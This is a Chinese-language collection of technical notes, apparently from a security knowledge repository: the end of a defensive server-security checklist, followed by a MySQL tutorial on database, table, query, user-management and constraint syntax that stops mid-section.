- [ ] 如果你的业务很小或者你缺乏经验，可以评估一下使用 AWS 或者一个 PaaS 平台来运行代码
- [ ] 在云上使用正规的脚本创建虚拟机
- [ ] 检查所有机器没有必要开放的`端口`
- [ ] 检查数据库是否没有设置密码或者使用默认密码，特别是 MongoDB 和 Redis
- [ ] 使用 SSH 登录你的机器，不要使用密码，而是通过 SSH key 验证来登录
- [ ] 及时更新系统，防止出现 0day 漏洞，比如 Heartbleed、Shellshock 等
- [ ] 修改服务器配置，HTTPS 使用 TLS1.2，禁用其他的模式。(值得这么做)
- [ ] 不要在线上开启 DEBUG 模式，有些框架，DEBUG 模式会开启很多权限以及后门，或者是暴露一些敏感数据到错误栈信息里面
- [ ] 对坏人和 DDOS 攻击要有所准备，使用那些提供 DDOS 清洗的主机服务
- [ ] 监控你的系统，同时记录到日志里面 (例如使用 [New Relic](https://newrelic.com/) 或者其他 ).
- [ ] 如果是 2B 的业务，坚持顺从需求。如果使用 AWS S3,可以考虑使用 [数据加密](http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingServerSideEncryption.html) 功能. 如果使用 AWS EC2，考虑使用磁盘加密功能（现在系统启动盘也能加密了）
##### 关于人
- [ ] 开一个邮件组（例如：security@coolcorp.io）和搜集页面，方便安全研究人员提交漏洞
- [ ] 取决于你的业务，限制用户数据库的访问
- [ ] 对报告 bug、漏洞的人有礼貌
- [ ] 把你的代码给那些有安全编码观念的同伴进行 review (More eyes)
- [ ] 被黑或者数据泄露时，检查数据访问前的日志，通知用户更改密码。你可能需要外部的机构来帮助审计
- [ ] 使用 [Netflix Scumblr](https://github.com/Netflix/Scumblr) 及时了解你的组织（公司）在社交网络或者搜索引擎上的一些讨论信息，比如黑客攻击、漏洞等等
|
sec-knowleage
|
# Power-SQL
---
## DDL 操作数据库、表
### 数据库操作
#### 创建数据库
我们可以在登录 MySQL 服务后，使用 creat 命令创建数据库，语法如下:
```sql
create database 数据库名称 [库选项];
```
其中，库选项是用来约束数据库的，为可选项（有默认值），共有两种，分别为：
- 字符集设定：charset/ character set+ 具体字符集，用来表示数据存储的编码格式，常用的字符集包括 GBK 和 UTF8 等。
- 校对集设定：collate+ 具体校对集，表示数据比较的规则，其依赖字符集。
示例：
```sql
-- 创建数据库 test
create database test charset utf8;
```
其中，数据库的名字不能用关键字（已经被占用的字符，例如 `update` 和 `insert` 等）或者保留字（将来可能会用的，例如 `access` 和 `cast` 等）。
如果非要使用数据库的关键字或者保留字作为数据库名称，那么必须用反引号将其括起来，例如：
```sql
create database `update` charset utf8;
```
如果还想使用中文作为数据库的名称，那就得保证数据库能够识别中文（强烈建议不要用中文命名数据库的名称），例如：
```sql
-- 设置中文名称的方法，其中 gbk 为当前数据库的默认字符集
set names gbk;
create database 北京 charset gbk;
```
```sql
-- 创建数据库，判断不存在，再创建;
create database if not exists 数据库名称;
-- 创建数据库，并且指定字符集;
create database 数据库名称 character set 字符集名称;
-- 创建数据库db，判断是否存在，并指定字符集为gbk
create database if not exists db character set gbk;
```
#### 删除数据库
使用普通用户登录 MySQL 服务器，你可能需要特定的权限来创建或者删除 MySQL 数据库，所以我们这边使用 root 用户登录，root 用户拥有最高权限。
在删除数据库过程中，务必要十分谨慎，因为在执行删除命令后，所有数据将会消失。
```sql
-- 语法
drop database <数据库名>;
-- 例如删除名为 test 的数据库：
drop database test;
-- 判断数据库是否存在，存在则删除;
drop database if exists 数据库名称;
```
#### 查询数据库
```sql
-- 查看全部
show databases;
-- 查看部分（模糊查询）
show databases like 'pattern';
```
其中，pattern 是匹配模式，有两种，分别为：
- %：表示匹配多个字符;
- _：表示匹配单个字符。
此外，在匹配含有下划线 _ 的数据库名称的时候，需要在下划线前面加上反斜线 \_ 进行转义操作。
```sql
-- 匹配所有 TBL 开头的数据库。
show databases like 'TBL%';
-- 查看数据库的创建语句
show create database 数据库名称;
-- 在这里，查看的结果有可能与咱们书写的 SQL 语句不同，这是因为数据库在执行 SQL 语句之前会优化 SQL，系统保存的是优化后的结果。
```
#### 更新数据库
在这里，需要注意：数据库的名字不可以修改。
```sql
-- 语法
alter database 数据库名称 [库选项];
-- 修改test数据库的字符集为 gbk.
alter database test charset gbk;
```
#### 选择数据库
在你连接到 MySQL 数据库后，可能有多个可以操作的数据库，所以你需要选择你要操作的数据库。
```sql
-- 使用 test 数据库
use test;
```
执行以上命令后，你就已经成功选择了 test 数据库，在后续的操作中都会在 test 数据库中执行。
注意:所有的数据库名，表名，表字段都是区分大小写的。所以你在使用 SQL 命令时需要输入正确的名称。
```sql
-- 查询正在使用的数据库;
select database();
```
#### 数据库的备份和还原
备份：
```bash
mysqldump -u用户名 -p密码 要备份的数据库名称 > 保存路径;
```
还原：
- 登录数据库：-u用户名称 -p密码;
- 创建数据库：create database 数据库名称;
- 使用数据库：use 数据库名称;
- 执行文件：source 文件路径;
#### 权限的管理
**查询权限**
```sql
-- 语法
show grants for '用户名'@'主机名';
show grants for 'list'@'localhost';
```
**授予权限**
```sql
-- 语法
grant 权限列表 on 数据库.表名 to '用户名'@'主机名';
```
**一次授予所有权限**
```sql
grant all on * . * to '用户名'@'主机名';
```
**撤销权限**
```sql
revoke 权限列表 on 数据库名.表名 from '用户名'@'主机名';
```
---
### 表操作
#### 创建表
创建 MySQL 数据表需要以下信息：
- 表名
- 表字段名
- 定义每个表字段
以下为创建 MySQL 数据表的 SQL 通用语法：
```sql
create table [if not exists] + 表名(
字段名称 数据类型,
……
字段名称 数据类型 /* 最后后一行，不需要加逗号 */
)[表选项];
```
其中，`if not exists` 表示如果表名不存在，就执行创建代码;如果表名存在，则不执行创建代码。
表选项则是用来控制表的表现形式的，共有三种，分别为：
- 字符集设定：charset/ character set+ 具体字符集，用来表示数据存储的编码格式，常用的字符集包括 GBK 和 UTF8 等。
- 校对集设定：collate+ 具体校对集，表示数据比较的规则，其依赖字符集。
- 存储引擎：engine+ 具体存储引擎，默认为 InnoDB，常用的还有 MyISAM.
```sql
-- 在已经指定的数据库中创建数据表 test_tbl：
CREATE TABLE IF NOT EXISTS `test_tbl`(
`test_id` INT UNSIGNED AUTO_INCREMENT,
`test_title` VARCHAR(100) NOT NULL,
`test_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `test_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
- 如果你不想字段为 NULL 可以设置字段的属性为 NOT NULL， 在操作数据库时如果输入该字段的数据为 NULL ，就会报错。
- AUTO_INCREMENT 定义列为自增的属性，一般用于主键，数值会自动加1。
- PRIMARY KEY关键字用于定义列为主键。 你可以使用多列来定义主键，列间以逗号分隔。
- ENGINE 设置存储引擎，CHARSET 设置编码。
由于任何表都归属于某个数据库，因此在创建表的时候，都必须先指定具体的数据库。在这里，指定数据库的方式有两种，分别为：
第 1 种：显式的指定表所属的数据库，示例
```sql
create table if not exists test.student(
name varchar(10),
age int, /* 整型不需要指定具体的长度 */
grade varchar(10) /* 最后后一行，不需要加逗号 */
)charset utf8;
```
第 2 种：隐式的指定表所属的数据库，示例
```sql
use test; /* use + 数据库名称，表示切换到指定的数据库，这句命令其实不加分号也可以，但不建议这么做 */
create table if not exists student(
name varchar(10),
age int, /* 整型不需要指定具体的长度 */
grade varchar(10) /* 最后后一行，不需要加逗号 */
)charset utf8;
```
创建 MySql 的表时，表名和字段名外面的符号 ` 不是单引号，而是英文输入法状态下的反单引号，也就是键盘左上角 esc 按键下面的那一个 ~ 按键
反引号是为了区分 MySql 关键字与普通字符而引入的符号，一般的，表名与字段名都使用反引号。
#### 删除表
MySQL 中删除数据表是非常容易操作的， 但是你再进行删除表操作时要非常小心，因为执行删除命令后所有数据都会消失。
```sql
-- drop table table_name : 删除表全部数据和表结构，立刻释放磁盘空间，不管是 Innodb 和 MyISAM;
drop table student;
-- 判断表是否存在，若存在则删除;
drop table if exists 表名称;
-- truncate table table_name : 删除表全部数据，保留表结构，立刻释放磁盘空间 ，不管是 Innodb 和 MyISAM;
truncate table student;
-- delete from table_name : 删除表全部数据，表结构不变，对于 MyISAM 会立刻释放磁盘空间，InnoDB 不会释放磁盘空间;
delete from student;
-- delete from table_name where xxx : 带条件的删除，表结构不变，不管是 innodb 还是 MyISAM 都不会释放磁盘空间;
delete from student where T_name = "张三"; -- 实例，删除学生表中姓名为 "张三" 的数据：
-- delete 操作以后，使用 optimize table table_name 会立刻释放磁盘空间，不管是 innodb 还是 myisam;
delete from student where T_name = "张三"; -- 实例，删除学生表中姓名为 "张三" 的数据：
-- 实例，释放学生表的表空间：
optimize table student;
```
delete from 表以后虽然未释放磁盘空间，但是下次插入数据的时候，仍然可以使用这部分空间。
总结
- 当你不再需要该表时， 用 drop;
- 当你仍要保留该表，但要删除所有记录时， 用 truncate;
- 当你要删除部分记录时， 用 delete。
#### 查询表
```sql
-- 查看全部
show tables;
-- 查看部分（模糊查询）
show tables like 'pattern';
```
其中，pattern 是匹配模式，有两种，分别为：
- %：表示匹配多个字符;
- _：表示匹配单个字符。
此外，在匹配含有下划线 _ 的表名的时候，需要在下划线前面加上反斜线 `\_` 进行转义操作。
```sql
-- 表示匹配所有以 t 结尾的表。
show tables like '%t';
-- 查看表的创建语句
show create table 表名;
```
在这里，咱们也可以用 `\g` 和 `\G` 代替上述语句中的;分号，其中 `\g` 等价于分号，`\G` 则在等价于分号的同时，将查的表结构旋转 90 度，变成纵向结构。
```sql
-- 查看表中的字段信息
show columns from 表名;
-- 查询表的结构
desc 表名;
```
#### 更新表
```sql
-- 修改表名
rename table 旧表名 to 新表名;
-- 修改表选项
alter table 表名 表选项[=] 值;
-- 修改表的字符集
alter table 表名 character set 字符集名称;
-- 新增字段
alter table 表名 add [column] 列名 数据类型 [列属性][位置];
-- 其中，位置表示此字段存储的位置，分为 first（第一个位置）和 after + 列名（指定的字段后，默认为最后一个位置）.
alter table student add column id int first;
-- 只修改列的数据类型;
alter table 表名 modify 列名 数据类型 [列属性][位置];
-- 其中，位置表示此字段存储的位置，分为 first（第一个位置）和 after + 列名（指定的字段后，默认为最后一个位置）.
alter table student modify name char(10) after id;
-- 即修改列名，也修改该列的数据类型
alter table 表名 change 旧列名 新的列名 新的数据类型 [列属性][位置];
-- 其中，位置表示此字段存储的位置，分为 first（第一个位置）和 after + 列名（指定的字段后，默认为最后一个位置）.
alter table student change grade class varchar(10);
-- 删除字段
alter table 表名 drop 列名;
alter table student drop age;
-- 注意：如果表中已经存在数据，那么删除该字段会清空该字段的所有数据，而且不可逆，慎用。
```
#### 复制表
如果我们需要完全的复制 MySQL 的数据表，包括表的结构，索引，默认值等。 如果仅仅使用 CREATE TABLE ... SELECT 命令，是无法实现的。
```sql
CREATE TABLE targetTable LIKE sourceTable;
INSERT INTO targetTable SELECT * FROM sourceTable;
可以拷贝一个表中其中的一些字段:
CREATE TABLE newadmin AS
(
SELECT username, password FROM admin
)
可以将新建的表的字段改名:
CREATE TABLE newadmin AS
(
SELECT id, username AS uname, password AS pass FROM admin
)
可以拷贝一部分数据:
CREATE TABLE newadmin AS
(
SELECT * FROM admin WHERE LEFT(username,1) = 's'
)
可以在创建表的同时定义表中的字段信息:
CREATE TABLE newadmin
(
id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY
)
AS
(
SELECT * FROM admin
)
```
或
```sql
create table 新表 select * from 旧表
```
**整体方法**
步骤一: 获取数据表的完整结构。
```sql
mysql> SHOW CREATE TABLE test_tbl \G;
*************************** 1. row ***************************
Table: test_tbl
Create Table: CREATE TABLE `test_tbl` (
`test_id` int(11) NOT NULL auto_increment,
`test_title` varchar(100) NOT NULL default '',
`test_author` varchar(40) NOT NULL default '',
`submission_date` date default NULL,
PRIMARY KEY (`test_id`),
UNIQUE KEY `AUTHOR_INDEX` (`test_author`)
) ENGINE=InnoDB
1 row in set (0.00 sec)
```
步骤二
修改 SQL 语句的数据表名，并执行 SQL 语句。
```sql
mysql> CREATE TABLE `clone_tbl` (
-> `test_id` int(11) NOT NULL auto_increment,
-> `test_title` varchar(100) NOT NULL default '',
-> `test_author` varchar(40) NOT NULL default '',
-> `submission_date` date default NULL,
-> PRIMARY KEY (`test_id`),
-> UNIQUE KEY `AUTHOR_INDEX` (`test_author`)
-> ) ENGINE=InnoDB;
Query OK, 0 rows affected (1.80 sec)
```
步骤三
执行完第二步骤后，你将在数据库中创建新的克隆表 clone_tbl。 如果你想拷贝数据表的数据你可以使用 INSERT INTO... SELECT 语句来实现。
```sql
mysql> INSERT INTO clone_tbl (test_id,
-> test_title,
-> test_author,
-> submission_date)
-> SELECT test_id,test_title,
-> test_author,submission_date
-> FROM test_tbl;
Query OK, 3 rows affected (0.07 sec)
Records: 3 Duplicates: 0 Warnings: 0
```
#### 临时表
MySQL 临时表在我们需要保存一些临时数据时是非常有用的。临时表只在当前连接可见，当关闭连接时，Mysql 会自动删除表并释放所有空间。
MySQL 临时表只在当前连接可见，如果你使用 PHP 脚本来创建 MySQL 临时表，那每当 PHP 脚本执行完成后，该临时表也会自动销毁。如果你使用了其他 MySQL 客户端程序连接 MySQL 数据库服务器来创建临时表，那么只有在关闭客户端程序时才会销毁临时表，当然你也可以手动销毁。
实例
```sql
-- 以下展示了使用 MySQL 临时表的简单实例，以下的 SQL 代码可以适用于 PHP 脚本的 mysql_query() 函数。
mysql> CREATE TEMPORARY TABLE SalesSummary (
-> product_name VARCHAR(50) NOT NULL
-> , total_sales DECIMAL(12,2) NOT NULL DEFAULT 0.00
-> , avg_unit_price DECIMAL(7,2) NOT NULL DEFAULT 0.00
-> , total_units_sold INT UNSIGNED NOT NULL DEFAULT 0
);
Query OK, 0 rows affected (0.00 sec)
mysql> INSERT INTO SalesSummary
-> (product_name, total_sales, avg_unit_price, total_units_sold)
-> VALUES
-> ('cucumber', 100.25, 90, 2);
mysql> SELECT * FROM SalesSummary;
+--------------+-------------+----------------+------------------+
| product_name | total_sales | avg_unit_price | total_units_sold |
+--------------+-------------+----------------+------------------+
| cucumber | 100.25 | 90.00 | 2 |
+--------------+-------------+----------------+------------------+
1 row in set (0.00 sec)
```
#### 索引
MySQL 索引的建立对于 MySQL 的高效运行是很重要的，索引可以大大提高 MySQL 的检索速度。
打个比方，如果合理的设计且使用索引的 MySQL 是一辆兰博基尼的话，那么没有设计和使用索引的 MySQL 就是一个人力三轮车。
例如，如果想要查阅一本书中与某个特定主题相关的所有页面，你会先去查询索引（索引按照字母表顺序列出了所有主题），然后从索引中找到一页或者多页与该主题相关的页面。
索引分单列索引和组合索引。
- 单列索引，即一个索引只包含单个列，一个表可以有多个单列索引，但这不是组合索引。
- 组合索引，即一个索引包含多个列。
上面都在说使用索引的好处，但过多的使用索引将会造成滥用。因此索引也会有它的缺点：虽然索引大大提高了查询速度，同时却会降低更新表的速度，如对表进行 INSERT、UPDATE和DELETE。因为更新表时，MySQL 不仅要保存数据，还要保存一下索引文件。
索引能够提高 SELECT 查询和 WHERE 子句的速度，但是却降低了包含 UPDATE 语句或 INSERT 语句的数据输入过程的速度。索引的创建与删除不会对表中的数据产生影响。
建立索引会占用磁盘空间的索引文件。实际上，索引也是一张表，该表保存了主键与索引字段，并指向实体表的记录。在不读取整个表的情况下，索引使数据库应用程序可以更快地查找数据。
**普通索引**
- 创建索引
这是最基本的索引，它没有任何限制。它有以下几种创建方式：
```sql
CREATE INDEX indexName
ON mytable(username(length));
```
如果是 CHAR，VARCHAR 类型，length 可以小于字段实际长度;如果是 BLOB 和 TEXT 类型，必须指定 length。
- 修改表结构(添加索引)
```sql
ALTER table tableName
ADD INDEX indexName(columnName)
```
- 创建表的时候直接指定
```sql
CREATE TABLE mytable(
ID INT NOT NULL,
username VARCHAR(16) NOT NULL,
INDEX [indexName] (username(length))
);
```
- 删除索引的语法
```sql
DROP INDEX [indexName] ON mytable;
```
**唯一索引**
它与前面的普通索引类似，不同的就是：索引列的值必须唯一，但允许有空值。如果是组合索引，则列值的组合必须唯一。它有以下几种创建方式：
- 创建索引
```sql
CREATE UNIQUE INDEX indexName
ON mytable(username(length))
```
- 修改表结构
```sql
ALTER table mytable
ADD UNIQUE [indexName] (username(length))
```
- 创建表的时候直接指定
```sql
CREATE TABLE mytable(
ID INT NOT NULL,
username VARCHAR(16) NOT NULL,
UNIQUE [indexName] (username(length))
);
```
**实例**
本例会创建一个简单的索引，名为 "PersonIndex"，在 Person 表的 LastName 列：
```sql
CREATE INDEX PersonIndex
ON Person (LastName)
```
如果你希望以降序索引某个列中的值，你可以在列名称之后添加保留字 DESC：
```sql
CREATE INDEX PersonIndex
ON Person (LastName DESC)
```
假如你希望索引不止一个列，你可以在括号中列出这些列的名称，用逗号隔开：
```sql
CREATE INDEX PersonIndex
ON Person (LastName, FirstName)
```
此种索引叫聚簇索引
**使用ALTER 命令添加和删除索引**
有四种方式来添加数据表的索引：
- ALTER TABLE tbl_name ADD PRIMARY KEY (column_list): 该语句添加一个主键，这意味着索引值必须是唯一的，且不能为NULL。
- ALTER TABLE tbl_name ADD UNIQUE index_name (column_list): 这条语句创建索引的值必须是唯一的（除了NULL外，NULL可能会出现多次）。
- ALTER TABLE tbl_name ADD INDEX index_name (column_list): 添加普通索引，索引值可出现多次。
- ALTER TABLE tbl_name ADD FULLTEXT index_name (column_list):该语句指定了索引为 FULLTEXT ，用于全文索引。
以下实例为在表中添加索引。
```sql
ALTER TABLE testalter_tbl ADD INDEX (c);
```
你还可以在 ALTER 命令中使用 DROP 子句来删除索引。尝试以下实例删除索引:
```sql
ALTER TABLE testalter_tbl DROP INDEX c;
```
**显示索引信息**
你可以使用 SHOW INDEX 命令来列出表中的相关的索引信息。可以通过添加 \G 来格式化输出信息。
```sql
SHOW INDEX FROM table_name; \G
```
---
## DML 增删改表中的数据
### 插入数据
第 1 种：给全表字段插入数据，不需要指定字段列表，但要求数据的值出现的顺序必须与表中的字段出现的顺序一致，并且凡是非数值数据，都需要用引号（建议使用单引号）括起来。
```sql
insert into 表名
values(值列表)[,(值列表)];
-- 示例:
insert into test
valus('charies',18,'3.1');
```
如果数据是字符型，必须使用单引号或者双引号，如："value"。
第 2 种：给部分字段插入数据，需要选定字段列表，字段列表中字段出现的顺序与表中字段的顺序无关，但值列表中字段值的顺序必须与字段列表中的顺序保持一致。
```sql
insert into 表名(字段列表)
values(值列表)[,(值列表)];
-- 示例:
insert into test(age,name)
valus(18,'guo');
```
### 删除数据
```sql
-- 删除满足条件的信息
DELETE FROM table_name [WHERE Clause]
-- 如果没有指定 WHERE 子句，MySQL 表中的所有记录将被删除。可以在 WHERE 子句中指定任何条件.
-- 删除 id 为 3 的行
delete from students where id=3;
```
```sql
-- 删除所有年龄小于 21 岁的数据
delete from students where age<20;
-- 删除表中的所有数据
delete from students;
```
### 修改数据
```sql
-- 如果我们需要修改或更新 MySQL 中的数据，我们可以使用 SQL UPDATE 命令来操作。
UPDATE table_name SET field1=new-value1, field2=new-value2
[WHERE Clause]
-- 示例:
update test
set age = 20
where name = 'guo';
```
在这里，建议尽量加上 where 条件，否则的话，操作的就是全表数据。
此外，判断更新操作是否成功，并不是看 SQL 语句是否执行成功，而是看是否有记录受到影响，即 affected 的数量大于 1 时，才是真正的更新成功。
```sql
-- 将 id 为 5 的手机号改为默认的
update students
set tel=default
where id=5;
-- 将所有人的年龄增加 1
update students
set age=age+1;
-- 将手机号为 13288097888 的姓名改为 "小明", 年龄改为 19:
update students
set name="小明", age=19
where tel="13288097888";
```
## DQL 查询表中的记录
### 查询数据
```sql
-- SELECT 命令可以读取一条或者多条记录。
SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]
select 字段列表
from 表名列表
where 条件列表
group 分组字段
having 分组之后的条件
order by 排序
limit 分页限定
```
查询语句中你可以使用一个或者多个表，表之间使用逗号(,)分割，并使用 WHERE 语句来设定查询条件。
- 使用星号（*）来代替其他字段，SELECT 语句会返回表的所有字段数据
- 使用 WHERE 语句来包含任何条件。
- 使用 LIMIT 属性来设定返回的记录数。
- 通过 OFFSET 指定 SELECT 语句开始查询的数据偏移量。默认情况下偏移量为 0。
#### 基础查询
```sql
-- 多个字段的查询
select 字段1，字段2，…… from 表名;
-- 去除重复
select distinct 字段名 from 表名;
-- 条件查询
where 子句后面跟条件
运算符
大于、小于、>=、<=、=、<>(不等于)
between...and
in(集合)
like：模糊查询
占位符
_：可以代替任意一个字符;
%：可以代替任意多个字符;
and 或 &&
or 或 ||
not 或 ！
-- 查询年龄大于等于20
select * from stu where age >= 20;
-- 查询年龄不等于20
select * from stu where age <> 20;
select * from stu where age != 20;
-- 查询年龄大于等于20，小于等于30的;
select * from stu where age between 20 and 30;
select * from stu where age >= 20 && age <= 30;
-- 查询年龄22岁、19岁、25岁;
select * from stu where age = 22 or age = 19 or age = 25;
select * from stu where age in (22, 19, 25);
-- 查询英语成绩为null;
select * from stu where English is null;
-- 注意事项：不能写=null;
-- 查询英语成绩不为null;
select * from stu where English is not null;
-- 注意事项：不能写!=null;
-- 查询姓张的人：
select * from stu where name like '张%';
-- 查询名字里面第二个字是三的人;
select * from stu where name like '_三%';
-- 查询名字是三个字的人
select * from stu where name like '_ _ _';
-- 查询名字里面包含张的人
select * from stu where name like '%张%';
```
#### 排序查询
```sql
-- 语法
order by 子句;
-- 按照数学成绩升序排序;
select * from stu order by math;
select * from stu order by math ASC;
-- 按照数学成绩升序排名，如果数学成绩一样，则按照英语成绩升序排名;
select * from stu order by math ASC，English ASC;
```
排序方式：
- ASC：升序（默认就是升序）;
- DESC：降序
注意：如果有多个排序条件，则当前边的条件值一样时，才会判断第二条件;
#### 聚合查询
```sql
-- count：计算个数;一般选择非空的列：主键
select count(ifnull(id,0)) from stu;
-- count(*)：不建议使用;
-- max：计算最大值;
select max(english) from stu;
-- min：计算最小值;
select min(english) from stu;
-- sum：计算和;
select sum(english) from stu;
-- avg：计算平均值;
select avg((ifnull(english,0)) from stu;
```
#### 分组查询
```sql
-- 语法
group by 子句;
-- 按照性别分组，分别查询男生和女生的平均成绩
select sex，avg(ifnull(english,0)) from stu group by sex;
-- 按照性别分组，分别查询男生和女生的平均成绩
select sex, avg(ifnull(english,0))，count(ifnull(id,0)) from stu group by sex;
-- 按照性别分组，分别查询男生和女生的平均成绩，以及人数。要求：分数低于70分的人不参与分组;
select sex, avg(ifnull(english,0))，count(ifnull(id,0)) from stu where english > 70 group by sex;
-- 按照性别分组，分别查询男生和女生的平均成绩，以及人数。要求：分数低于70分的人不参与分组,且分组之后，该组人数要大于2;
select sex, avg(ifnull(english,0))，count(ifnull(id,0)) from stu where english > 70 group by sex having count(ifnull(id,0)) > 2;
select sex, avg(ifnull(english,0))，count(ifnull(id,0)) as 人数 from stu where english > 70 group by sex having 人数 > 2;
```
where 和 having 的区别：
- where 在分组之前进行限定，如果不满足条件，则不参与分组。having 在分组之后进行限定，如果不满足结果，则不会被查询出来;
- where 后面不能跟聚合函数，having 可以跟聚合函数的判断;
#### 分页查询
```sql
-- 语法
limit 开始索引，每页查询的条数;
-- 每页显示3条
select * from stu limit 0,3;
```
#### 模糊查询
```sql
-- LIKE 子句
SELECT field1, field2,...fieldN
FROM table_name
WHERE field1 LIKE condition1 [AND [OR]] filed2 = 'somevalue'
```
- 你可以在 WHERE 子句中指定任何条件.
- 你可以在 WHERE 子句中使用 LIKE 子句.
- 你可以使用 LIKE 子句代替等号 =.
- LIKE 通常与 % 一同使用, 类似于一个元字符的搜索.
- 你可以使用 AND 或者 OR 指定一个或多个条件.
- 你可以在 DELETE 或 UPDATE 命令中使用 WHERE...LIKE 子句来指定条件.
like 匹配/模糊匹配,会与 `%` 和 `_` 结合使用.
```
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的
```
```sql
-- 查询以 java 字段开头的信息.
SELECT * FROM position WHERE name LIKE 'java%';
-- 查询包含 java 字段的信息.
SELECT * FROM position WHERE name LIKE '%java%';
-- 查询以 java 字段结尾的信息.
SELECT * FROM position WHERE name LIKE '%java';
```
- `%` : 表示任意 0 个或多个字符.可匹配任意类型和长度的字符,有些情况下若是中文,请使用两个百分号(%%)表示.
- `_` : 表示任意单个字符.匹配单个任意字符,它常用来限制表达式的字符长度语句.
- `[]` : 表示括号内所列字符中的一个(类似正则表达式).指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个.
- `[^]` : 表示不在括号所列之内的单个字符.其取值和 `[]` 相同,但它要求所匹配对象为指定字符以外的任一个字符.
- 查询内容包含通配符时,由于通配符的缘故,导致我们查询特殊字符 "`%`"、"`_`"、"`[`" 的语句无法正常实现,而把特殊字符用 "`[ ]`" 括起便可正常查询.
### 多表查询
#### 笛卡尔积
有两个集合A、B，取这两个集合的所有组成情况。
要完成多表查询，需要消除无用的数据。
#### 内连接
**隐式连接**
使用where条件消除无用数据;
```sql
-- 查询所有员工信息和对应的部门信息;
select * from emp, dept where emp.dept_id = dept.id;
-- 查询员工表的姓名，性别、部门表的名称;
select emp.name, emp.sex, dept.name from emp, dept where emp.dept_id = dept.id;
-- 简化
select
t1.name,
t1.sex,
t2.name
from
emp t1,
dept t2
where
t1.dept_id = t2.id;
```
**显示内连接**
```sql
-- 语法
select 字段列表 from 表名1 inner join 表名2 on 条件;
-- 查询所有员工信息和对应的部门信息;
select * from emp inner join dept on emp.dept_id = dept.id;
-- -- inner可以省略，并且这个也可以像上面那样起别名;
```
#### 外连接
**左外连接**
```sql
-- 语法
select 字段列表 from 表1 left outer join 表2 on 条件; -- 注意：outer可以省略不写
-- 查询的范围：查询的是左表所有的信息，以及其与右表的交集部分;
select t1.*, t2.name from emp t1 left join dept t2 on t1.dept = t2.id;
```
**右外连接**
```sql
-- 语法
select 字段列表 from 表1 right outer join 表2 on 条件; -- 注意：outer可以省略不写
-- 查询的范围：查询的是右表所有的信息，以及其与左表的交集部分;
select t1.* t2.name from emp t1 right join dept t2 on t1.dept = t2.id;
```
#### 子查询
概念：查询中嵌套查询，称嵌套查询为子查询。
```sql
-- 查询工资最高的员工信息;
-- 传统写法
-- 首先查询最高工资是多少
select max(工资) from emp; -- 假设查询出来最高工资是9000;
-- 然后将查询出来的信息作为条件在进行查询;
select * from emp where emp.工资 = 9000;
-- 子查询方式
select * from emp where emp.工资 = (select max(工资) from emp);
```
**子查询的不同情况**
子查询的结果是单行单列的;
```sql
-- 子查询可以作为条件，使用条件运算符去判断;
-- 查询工资小于平均工资的员工信息;
select * from emp where emp.工资 < (select avg(ifnull(工资, 0)) from emp);
```
子查询的结果是多行单列的;
```sql
-- 子查询可以作为条件，使用条件运算符去判断;
-- 查询市场部、销售部所有的员工信息;
select * from emp where emp.dept_id in (select dept_id from dept where name in ("市场部", "销售部"));
```
子查询的结果是多行多列的;
```sql
-- 子查询可以作为一张虚拟的表参与查询;
-- 查询员工入职日期是2011-11-11日之后的员工信息和部门信息;
select * from dept t1, (select * from emp where emp.date > "12-11-11") t2 where t1.id = t2.dept_id;
-- 普通查询
select * from emp t1, dept t2 where t1.id = t2.dept_id and t1.date > "2011-11-11";
```
---
## DCL 管理用户、授权
### 管理用户
**添加用户**
```sql
-- 语法：create user '用户名'@'主机名' identified by '密码';
create user 'test' @ 'localhost' identified by '123';
```
**删除用户**
```sql
-- 语法：drop user '用户名' @ '主机名';
drop user 'test' @ 'localhost';
```
**修改用户密码**
```sql
-- 方法一：
update user set password = password('新密码') where user = '用户名';
-- 方法二：
set password for '用户名'@'主机名' = password('新密码');
```
**查询用户**
```sql
-- 切换到 mysql 数据库
use mysql;
-- 切换到 mysql 数据库
select * from user;
```
---
## 约束
**描述**
对表中的数据进行限定，保证数据的正确性、有效性、完整性。
### 非空约束
关键字：not null
作用：某一列的值不能为null;
```sql
-- 创建表时添加约束;
create table stu(
name varchar(4) not null
);
-- 表创建好后，添加非空约束;
create table stu(
name varchar(4)
);
alter table stu modify name varchar(4) not null;
-- 删除约束
alter table stu modify name varchar(4); -- 将姓名的非空约束删除
```
### 唯一约束
关键字：unique;
作用：某一列的值不能重复;
```sql
-- 创建表时添加唯一约束
create table stu(
phone_number varchar(11) unique
);
-- 表创建好后，添加唯一约束;
alter table stu modify phone_number varchar(11) unique;
-- 删除唯一约束
alter table stu drop index phone_number;
```
注意: 唯一约束可以有 null 值，但是只能有一条记录为 null。通俗来讲，也就是说 null 值也不能重复出现;
### 主键约束
关键字：primary key;
作用：非空且唯一;
```sql
-- 创建表时添加主键约束;
create table stu(
id int primary key
);
-- 表创建好后添加主键约束;
alter table stu modify id int primary key;
-- 删除主键
alter table stu drop primary key;
```
注意事项：
- 一张表只能有一个字段为主键;
- 但是可以设置为多个字段为主键，也即联合主键;
- 主键就是表中记录的唯一标识;
### 自动增长
关键字：auto_increment;
作用：如果某一列是数值型的，可以完成值的自动增长。
```sql
-- 在创建表时添加自动增长;
create table stu (
id int auto_increment
);
-- 表创建好后添加自动增长
alter table stu modify id int auto_increment;
-- 删除自动增长
alter table stu modify id int;
-- 这样不会删除掉主键约束
```
这个值的增长，是按照上一条的数据进行增长。如果上一条数据是5，那么下一条就是6。
一般情况下，自动增长和主键一起使用;
### 外键约束
关键字：foreign key;
作用: 可定义表间以及表内必需的关系
```sql
-- 在创建表时添加外键约束
create table emp(
dep_id int
constraint 起一个新的名称 foreign key (外键名称) references 主表名称(主表列名称);
);
--主表
CREATE TABLE department(
id INT PRIMARY KEY AUTO_INCREMENT,
dep_name VARCHAR(30),
dep_location VARCHAR(30)
);
CREATE TABLE employee(
id INT PRIMARY KEY AUTO_INCREMENT,
NAME VARCHAR(30),
age INT,
dep_id INT,--外键名称
CONSTRAINT emp_dep_fk FOREIGN KEY (dep_id) REFERENCES department(id)
);
-- 创建表后添加外键;
